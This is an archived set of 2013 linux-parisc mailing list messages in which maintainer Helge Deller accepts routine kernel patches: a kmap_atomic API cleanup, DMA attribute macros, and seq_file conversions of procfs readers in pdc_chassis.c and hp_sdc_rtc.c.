Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 21:56:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWXiH-0002J6-2C
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 21:56:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756463Ab3D1T4n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Apr 2013 15:56:43 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:49327 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756448Ab3D1T4m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Apr 2013 15:56:42 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MN7F0-1UPuvx0mkq-006cCH for
 <linux-parisc@vger.kernel.org>; Sun, 28 Apr 2013 21:56:41 +0200
Original-Received: (qmail invoked by alias); 28 Apr 2013 19:56:41 -0000
Original-Received: from p54AD3C7A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.60.122]
  by mail.gmx.net (mp031) with SMTP; 28 Apr 2013 21:56:41 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+SIVlL7MmS7Y09oGEo9+oAMqZWX7suXrTVKNX73V
	XAUmIWJCr0FJFD
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <517BAB83.2060308@huawei.com>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4968>

On 04/27/2013 12:42 PM, Zhao Hongjiang wrote:
> kmap_atomic allows only one argument now, just move the second.
> 
> Signed-off-by: Zhao Hongjiang <zhaohongjiang@huawei.com>

Thanks!
Queued up in parisc tree for 3.10.

Helge


> ---
>  arch/parisc/kernel/cache.c |    6 +++---
>  1 files changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index 4b12890..6df734a 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -609,7 +609,7 @@ void clear_user_highpage(struct page *page, unsigned long vaddr)
>  	/* Clear using TMPALIAS region.  The page doesn't need to
>  	   be flushed but the kernel mapping needs to be purged.  */
>  
> -	vto = kmap_atomic(page, KM_USER0);
> +	vto = kmap_atomic(page);
>  
>  	/* The PA-RISC 2.0 Architecture book states on page F-6:
>  	   "Before a write-capable translation is enabled, *all*
> @@ -644,8 +644,8 @@ void copy_user_highpage(struct page *to, struct page *from,
>  	   the `to' page must be flushed in copy_user_page_asm since
>  	   it can be used to bring in executable code.  */
>  
> -	vfrom = kmap_atomic(from, KM_USER0);
> -	vto = kmap_atomic(to, KM_USER1);
> +	vfrom = kmap_atomic(from);
> +	vto = kmap_atomic(to);
>  
>  	purge_kernel_dcache_page_asm((unsigned long)vto);
>  	purge_tlb_start(flags);
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC/PATCH 3/4] parisc: Provide default implementation for dma_{alloc,free}_attrs
Date: Sun, 28 Apr 2013 22:06:53 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <517D815D.2070207@gmx.de>
References: <1366607407-3103-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367179619 14953 80.91.229.3 (28 Apr 2013 20:06:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Apr 2013 20:06:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 22:07:03 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWXsC-0001GV-A9
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 22:07:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756498Ab3D1UG5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Apr 2013 16:06:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63576 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756485Ab3D1UG4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Apr 2013 16:06:56 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MSXfe-1U59dD1Onk-00RZUv for
 <linux-parisc@vger.kernel.org>; Sun, 28 Apr 2013 22:06:55 +0200
Original-Received: (qmail invoked by alias); 28 Apr 2013 20:06:55 -0000
Original-Received: from p54AD3C7A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.60.122]
  by mail.gmx.net (mp030) with SMTP; 28 Apr 2013 22:06:55 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18lH1FlCmQlG5IP4bjTmcODRHtaVJf7N1VHk3YJ36
	3gefHy6VgskEpn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <1366607407-3103-1-git-send-email-dhobsong@igel.co.jp>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4969>

On 04/22/2013 07:10 AM, Damian Hobson-Garcia wrote:
> Most architectures that define CONFIG_HAVE_DMA, have implementations for
> both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
> not define CONFIG_HAVE_DMA also have both of these definitions provided by
> dma-mapping-broken.h.
> 
> Add default implementations for these functions on parisc.
> 
> Signed-off-by: Damian Hobson-Garcia <dhobsong@igel.co.jp>

Thanks!
Queued up in the parisc tree for 3.10

Helge

> ---
>  arch/parisc/include/asm/dma-mapping.h |    3 +++
>  1 files changed, 3 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index 106b395..d0eae5f 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -46,6 +46,9 @@ extern struct hppa_dma_ops pcx_dma_ops;
>  
>  extern struct hppa_dma_ops *hppa_dma_ops;
>  
> +#define dma_alloc_attrs(d, s, h, f, a) dma_alloc_coherent(d, s, h, f)
> +#define dma_free_attrs(d, s, h, f, a) dma_free_coherent(d, s, h, f)
> +
>  static inline void *
>  dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
>  		   gfp_t flag)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 20/26] parisc: Don't use create_proc_read_entry() [RFC]
Date: Sun, 28 Apr 2013 22:20:45 +0200
Lines: 117
Approved: news@gmane.org
Message-ID: <517D849D.1070502@gmx.de>
References: <20130411132739.32763.82609.stgit@warthog.procyon.org.uk> <20130411133017.32763.99586.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367180450 23062 80.91.229.3 (28 Apr 2013 20:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Apr 2013 20:20:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 22:20:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWY5a-0002TV-F4
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 22:20:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756547Ab3D1UUu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Apr 2013 16:20:50 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54348 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756485Ab3D1UUt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Apr 2013 16:20:49 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Mg2Ch-1U9G571eqb-00NUte for
 <linux-parisc@vger.kernel.org>; Sun, 28 Apr 2013 22:20:48 +0200
Original-Received: (qmail invoked by alias); 28 Apr 2013 20:20:48 -0000
Original-Received: from p54AD3C7A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.60.122]
  by mail.gmx.net (mp024) with SMTP; 28 Apr 2013 22:20:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19IfK1J/2xINB3D52pDx2qBq9hOptU6suO/5YSozS
	iLT6FjPkLvF9eW
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130411133017.32763.99586.stgit@warthog.procyon.org.uk>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4970>

On 04/11/2013 03:30 PM, David Howells wrote:
> Don't use create_proc_read_entry() as that is deprecated, but rather use
> proc_create_data() and seq_file instead.
> 
> Signed-off-by: David Howells <dhowells@redhat.com>
> cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> cc: Helge Deller <deller@gmx.de>
> cc: linux-parisc@vger.kernel.org

Signed-off-by: Helge Deller <deller@gmx.de>

Thanks!
I've queued it up in the parisc tree for 3.10

Helge


> ---
> 
>  arch/parisc/kernel/pdc_chassis.c |   47 +++++++++++++++++++-------------------
>  1 file changed, 24 insertions(+), 23 deletions(-)
> 
> diff --git a/arch/parisc/kernel/pdc_chassis.c b/arch/parisc/kernel/pdc_chassis.c
> index d47ba1a..8fa314f 100644
> --- a/arch/parisc/kernel/pdc_chassis.c
> +++ b/arch/parisc/kernel/pdc_chassis.c
> @@ -30,11 +30,13 @@
>  #endif
>  
>  #include <linux/init.h>
> +#include <linux/module.h>
>  #include <linux/kernel.h>
>  #include <linux/reboot.h>
>  #include <linux/notifier.h>
>  #include <linux/cache.h>
>  #include <linux/proc_fs.h>
> +#include <linux/seq_file.h>
>  
>  #include <asm/pdc_chassis.h>
>  #include <asm/processor.h>
> @@ -244,38 +246,38 @@ int pdc_chassis_send_status(int message)
>  
>  #ifdef CONFIG_PDC_CHASSIS_WARN
>  #ifdef CONFIG_PROC_FS
> -static int pdc_chassis_warn_pread(char *page, char **start, off_t off,
> -		int count, int *eof, void *data)
> +static int pdc_chassis_warn_show(struct seq_file *m, void *v)
>  {
> -	char *out = page;
> -	int len, ret;
>  	unsigned long warn;
>  	u32 warnreg;
>  
> -	ret = pdc_chassis_warn(&warn);
> -	if (ret != PDC_OK)
> +	if (pdc_chassis_warn(&warn) != PDC_OK)
>  		return -EIO;
>  
>  	warnreg = (warn & 0xFFFFFFFF);
>  
>  	if ((warnreg >> 24) & 0xFF)
> -		out += sprintf(out, "Chassis component failure! (eg fan or PSU): 0x%.2x\n", ((warnreg >> 24) & 0xFF));
> -
> -	out += sprintf(out, "Battery: %s\n", (warnreg & 0x04) ? "Low!" : "OK");
> -	out += sprintf(out, "Temp low: %s\n", (warnreg & 0x02) ? "Exceeded!" : "OK");
> -	out += sprintf(out, "Temp mid: %s\n", (warnreg & 0x01) ? "Exceeded!" : "OK");
> -
> -	len = out - page - off;
> -	if (len < count) {
> -		*eof = 1;
> -		if (len <= 0) return 0;
> -	} else {
> -		len = count;
> -	}
> -	*start = page + off;
> -	return len;
> +		seq_printf(m, "Chassis component failure! (eg fan or PSU): 0x%.2x\n",
> +			   (warnreg >> 24) & 0xFF);
> +
> +	seq_printf(m, "Battery: %s\n", (warnreg & 0x04) ? "Low!" : "OK");
> +	seq_printf(m, "Temp low: %s\n", (warnreg & 0x02) ? "Exceeded!" : "OK");
> +	seq_printf(m, "Temp mid: %s\n", (warnreg & 0x01) ? "Exceeded!" : "OK");
> +	return 0;
> +}
> +
> +static int pdc_chassis_warn_open(struct inode *inode, struct file *file)
> +{
> +	return single_open(file, pdc_chassis_warn_show, NULL);
>  }
>  
> +static const struct file_operations pdc_chassis_warn_fops = {
> +	.open		= pdc_chassis_warn_open,
> +	.read		= seq_read,
> +	.llseek		= seq_lseek,
> +	.release	= seq_release,
> +};
> +
>  static int __init pdc_chassis_create_procfs(void)
>  {
>  	unsigned long test;
> @@ -290,8 +292,7 @@ static int __init pdc_chassis_create_procfs(void)
>  
>  	printk(KERN_INFO "Enabling PDC chassis warnings support v%s\n",
>  			PDC_CHASSIS_VER);
> -	create_proc_read_entry("chassis", 0400, NULL, pdc_chassis_warn_pread,
> -				NULL);
> +	proc_create("chassis", 0400, NULL, &pdc_chassis_warn_fops);
>  	return 0;
>  }
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.m68k
Subject: Re: [PATCH 12/26] hp_sdc_rtc: Don't use create_proc_read_entry()
 [RFC]
Date: Sun, 28 Apr 2013 22:36:28 +0200
Lines: 176
Approved: news@gmane.org
Message-ID: <517D884C.9080003@gmx.de>
References: <20130411132739.32763.82609.stgit@warthog.procyon.org.uk> <20130411132916.32763.83802.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367181391 30541 80.91.229.3 (28 Apr 2013 20:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Apr 2013 20:36:31 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	linux-m68k@vger.kernel.org, "Brian S. Julin" <bri@calyx.com>
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 28 22:36:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UWYKp-0005z8-5F
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Apr 2013 22:36:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756547Ab3D1Uge (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Apr 2013 16:36:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:51151 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755596Ab3D1Ugd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Apr 2013 16:36:33 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MEpV6-1UHkV33qhO-00Fzqq for
 <linux-parisc@vger.kernel.org>; Sun, 28 Apr 2013 22:36:31 +0200
Original-Received: (qmail invoked by alias); 28 Apr 2013 20:36:31 -0000
Original-Received: from p54AD3C7A.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.60.122]
  by mail.gmx.net (mp029) with SMTP; 28 Apr 2013 22:36:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19yW1FhuotygzCpcBLbuYJW9/lsRSBWkvs4AK2sXS
	3LfvDDn6kzvXFJ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130411132916.32763.83802.stgit@warthog.procyon.org.uk>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4971 gmane.linux.ports.m68k:4779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4971>

On 04/11/2013 03:29 PM, David Howells wrote:
> Don't use create_proc_read_entry() as that is deprecated, but rather use
> proc_create_data() and seq_file instead.
> 
> Signed-off-by: David Howells <dhowells@redhat.com>
> cc: Brian S. Julin <bri@calyx.com>
> cc: Helge Deller <deller@gmx.de>
> cc: linux-m68k@lists.linux-m68k.org

Signed-off-by: Helge Deller <deller@gmx.de>


Thanks David,

I've cleaned up a few whitespace issues and queued it up for 3.10 in the parisc tree.

Helge


> ---
> 
>  drivers/input/misc/hp_sdc_rtc.c |   58 +++++++++++++++++----------------------
>  1 file changed, 26 insertions(+), 32 deletions(-)
> 
> diff --git a/drivers/input/misc/hp_sdc_rtc.c b/drivers/input/misc/hp_sdc_rtc.c
> index 2e3334b..770479d 100644
> --- a/drivers/input/misc/hp_sdc_rtc.c
> +++ b/drivers/input/misc/hp_sdc_rtc.c
> @@ -41,6 +41,7 @@
>  #include <linux/time.h>
>  #include <linux/miscdevice.h>
>  #include <linux/proc_fs.h>
> +#include <linux/seq_file.h>
>  #include <linux/poll.h>
>  #include <linux/rtc.h>
>  #include <linux/mutex.h>
> @@ -74,9 +75,6 @@ static unsigned int hp_sdc_rtc_poll(struct file *file, poll_table *wait);
>  static int hp_sdc_rtc_open(struct inode *inode, struct file *file);
>  static int hp_sdc_rtc_fasync (int fd, struct file *filp, int on);
>  
> -static int hp_sdc_rtc_read_proc(char *page, char **start, off_t off,
> -				int count, int *eof, void *data);
> -
>  static void hp_sdc_rtc_isr (int irq, void *dev_id, 
>  			    uint8_t status, uint8_t data) 
>  {
> @@ -427,22 +425,19 @@ static int hp_sdc_rtc_fasync (int fd, struct file *filp, int on)
>          return fasync_helper (fd, filp, on, &hp_sdc_rtc_async_queue);
>  }
>  
> -static int hp_sdc_rtc_proc_output (char *buf)
> +static int hp_sdc_rtc_proc_show(struct seq_file *m, void *v)
>  {
>  #define YN(bit) ("no")
>  #define NY(bit) ("yes")
> -        char *p;
>          struct rtc_time tm;
>  	struct timeval tv;
>  
>  	memset(&tm, 0, sizeof(struct rtc_time));
>  
> -	p = buf;
> -
>  	if (hp_sdc_rtc_read_bbrtc(&tm)) {
> -		p += sprintf(p, "BBRTC\t\t: READ FAILED!\n");
> +		seq_puts(m, "BBRTC\t\t: READ FAILED!\n");
>  	} else {
> -		p += sprintf(p,
> +		seq_printf(m,
>  			     "rtc_time\t: %02d:%02d:%02d\n"
>  			     "rtc_date\t: %04d-%02d-%02d\n"
>  			     "rtc_epoch\t: %04lu\n",
> @@ -452,41 +447,41 @@ static int hp_sdc_rtc_proc_output (char *buf)
>  	}
>  
>  	if (hp_sdc_rtc_read_rt(&tv)) {
> -		p += sprintf(p, "i8042 rtc\t: READ FAILED!\n");
> +		seq_puts(m, "i8042 rtc\t: READ FAILED!\n");
>  	} else {
> -		p += sprintf(p, "i8042 rtc\t: %ld.%02d seconds\n", 
> +		seq_printf(m, "i8042 rtc\t: %ld.%02d seconds\n", 
>  			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_fhs(&tv)) {
> -		p += sprintf(p, "handshake\t: READ FAILED!\n");
> +		seq_puts(m, "handshake\t: READ FAILED!\n");
>  	} else {
> -        	p += sprintf(p, "handshake\t: %ld.%02d seconds\n", 
> +        	seq_printf(m, "handshake\t: %ld.%02d seconds\n", 
>  			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_mt(&tv)) {
> -		p += sprintf(p, "alarm\t\t: READ FAILED!\n");
> +		seq_puts(m, "alarm\t\t: READ FAILED!\n");
>  	} else {
> -		p += sprintf(p, "alarm\t\t: %ld.%02d seconds\n", 
> +		seq_printf(m, "alarm\t\t: %ld.%02d seconds\n", 
>  			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_dt(&tv)) {
> -		p += sprintf(p, "delay\t\t: READ FAILED!\n");
> +		seq_puts(m, "delay\t\t: READ FAILED!\n");
>  	} else {
> -		p += sprintf(p, "delay\t\t: %ld.%02d seconds\n", 
> +		seq_printf(m, "delay\t\t: %ld.%02d seconds\n", 
>  			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
>  	if (hp_sdc_rtc_read_ct(&tv)) {
> -		p += sprintf(p, "periodic\t: READ FAILED!\n");
> +		seq_puts(m, "periodic\t: READ FAILED!\n");
>  	} else {
> -		p += sprintf(p, "periodic\t: %ld.%02d seconds\n", 
> +		seq_printf(m, "periodic\t: %ld.%02d seconds\n", 
>  			     tv.tv_sec, (int)tv.tv_usec/1000);
>  	}
>  
> -        p += sprintf(p,
> +        seq_printf(m,
>                       "DST_enable\t: %s\n"
>                       "BCD\t\t: %s\n"
>                       "24hr\t\t: %s\n"
> @@ -506,23 +501,23 @@ static int hp_sdc_rtc_proc_output (char *buf)
>                       1UL,
>                       1 ? "okay" : "dead");
>  
> -        return  p - buf;
> +        return 0;
>  #undef YN
>  #undef NY
>  }
>  
> -static int hp_sdc_rtc_read_proc(char *page, char **start, off_t off,
> -                         int count, int *eof, void *data)
> +static int hp_sdc_rtc_proc_open(struct inode *inode, struct file *file)
>  {
> -	int len = hp_sdc_rtc_proc_output (page);
> -        if (len <= off+count) *eof = 1;
> -        *start = page + off;
> -        len -= off;
> -        if (len>count) len = count;
> -        if (len<0) len = 0;
> -        return len;
> +	return single_open(file, hp_sdc_rtc_proc_show, NULL);
>  }
>  
> +static const struct file_operations hp_sdc_rtc_proc_fops = {
> +	.open		= hp_sdc_rtc_proc_open,
> +	.read		= seq_read,
> +	.llseek		= seq_lseek,
> +	.release	= seq_release,
> +};
> +
>  static int hp_sdc_rtc_ioctl(struct file *file, 
>  			    unsigned int cmd, unsigned long arg)
>  {
> @@ -715,8 +710,7 @@ static int __init hp_sdc_rtc_init(void)
>  	if (misc_register(&hp_sdc_rtc_dev) != 0)
>  		printk(KERN_INFO "Could not register misc. dev for i8042 rtc\n");
>  
> -        create_proc_read_entry ("driver/rtc", 0, NULL,
> -				hp_sdc_rtc_read_proc, NULL);
> +        proc_create("driver/rtc", 0, NULL, &hp_sdc_rtc_proc_fops);
>  
>  	printk(KERN_INFO "HP i8042 SDC + MSM-58321 RTC support loaded "
>  			 "(RTC v " RTC_VERSION ")\n");
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 0/4] dma-mapping: Define dma_{alloc,free}_attrs() for all archs
Date: Tue, 30 Apr 2013 12:01:39 +0900
Lines: 43
Approved: news@gmane.org
Message-ID: <1367290899-10410-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1367290930 5087 80.91.229.3 (30 Apr 2013 03:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Apr 2013 03:02:10 +0000 (UTC)
Cc: linux-s390@vger.kernel.org, catalin.marinas@arm.com,
	will.deacon@arm.com, linux-arm-kernel@lists.infradead.org,
	msalter@redhat.com, linux-c6x-dev@linux-c6x.org, deller@gmx.de,
	linux-parisc@vger.kernel.org,
	Damian Hobson-Garcia <dhobsong@igel.co.jp>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 30 05:02:04 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UX0pO-00028J-JB
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Apr 2013 05:02:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759110Ab3D3DBy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 29 Apr 2013 23:01:54 -0400
Original-Received: from mail-pd0-f181.google.com ([209.85.192.181]:64530 "EHLO
	mail-pd0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757677Ab3D3DBx (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 29 Apr 2013 23:01:53 -0400
Original-Received: by mail-pd0-f181.google.com with SMTP id q10so43463pdj.26
        for <linux-kernel@vger.kernel.org>; Mon, 29 Apr 2013 20:01:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer
         :x-gm-message-state;
        bh=17MfDog5kLXZbEGYbdxEyowse2IyP03AfsfKWTzkiTw=;
        b=XDfYMERuP4k/qIGDz17WNBEfazk/UsB5urPNdNKI7GUl/NRXC27jwslNk1kKaTTH/8
         sfFHiwF2p7pGDlB11JWQj0VurJKbHyn/9OTHhcKFz3kFA6InuBblHqpgRY3DphDSfdyw
         0KsYfe1wngJJF4eCAKVrZX9BHb5cZ5Z8ECdZ9qr+G7/Irc757T5nQZ4nIo8pWJww36p8
         TJl1JPphMqO+qLW8SK5FCCiLneMnQlJ5Githe8AxezDzuOab/mK0ISHc3HirHqINmx9h
         9AerdtP2yflfGQcyBL5fKi4UWnByhiFwkzbDRiDkl2ikqwDCT5Ej9ydWJHn6FjzVZODw
         kv9A==
X-Received: by 10.68.172.65 with SMTP id ba1mr74280055pbc.166.1367290912587;
        Mon, 29 Apr 2013 20:01:52 -0700 (PDT)
Original-Received: from localhost.localdomain ([219.106.231.132])
        by mx.google.com with ESMTPSA id ih1sm26428010pbb.44.2013.04.29.20.01.49
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 29 Apr 2013 20:01:51 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
X-Gm-Message-State: ALoCoQmAdbDkf3qA/0gKUe8cfqs1oCtXn8UYuf1jTCFj2EyeRuWTjAWCvUi3t1jUWIRSStu434rY
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
